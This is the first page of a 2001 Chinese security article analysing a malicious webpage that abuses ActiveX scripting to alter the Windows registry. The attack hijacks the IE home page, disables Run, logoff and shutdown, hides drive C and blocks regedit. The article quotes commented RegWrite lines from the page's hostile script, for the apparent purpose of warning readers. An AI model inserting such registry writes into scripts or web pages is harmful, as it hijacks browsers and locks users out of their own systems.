您现在的位置是: E企业 > 安全之路 > 文献检索 > 正文




浏览网页注册表被修改之迷及解决办法
2001-09-12· ·小蓉··yesky

1 2 3 4  下一页

  浏览网页会被修改注册表?千真万确!如果你去浏览过下面的网页:http://www.findfeel.com/default.htm ,你真有生不如死的感觉!

进入该网页会被:

  1.修改开始菜单

  1)禁止“关闭系统”
  2)禁止“运行”
  3)禁止“注销”

  2.隐藏C盘——你的C盘找不到了

  3.禁止使用注册表编辑器regedit

  4.禁止使用DOS程序

  5.使系统无法进入“实模式”

  6.禁止运行任何程序

  7.将IE浏览器的首页改为http://www.findfeel.com/,收藏夹中也被加入该网址。

  那么这些功能恐怖的功能是如何实现的呢?原来,该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害,我查看了其源代码,将其主要部分列了出来,并加了详细的注释(文中有“注”字的部分是我加的注释)。

:下面代码是将你的IE默认连接首页改为http://www.findfeel.com/
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page", "http://www.findfeel.com/");

以下是该网页修改受害者的注册表项所用的招数

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY");

:使受害者系统没有“运行”项,这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。

1 2 3 4  下一页

■ 相关内容
 提高系统安全的注册表修改秘籍
 剖析恶意网页修改注册表的十二种现象
 剖析恶意网页修改注册表的十二种现象
 计算机病毒每周预报(12.17—12.23)
 IE恶意修改之终极解决方案
 图解:摆脱可恶网站的阴影
 巧用注册表保安全
 使用windows2k注册表防御BO 2k木马
 上网与Windows注册表安全
感谢 访问天极网,如果您觉得该文章涉及版权问题,请看这里!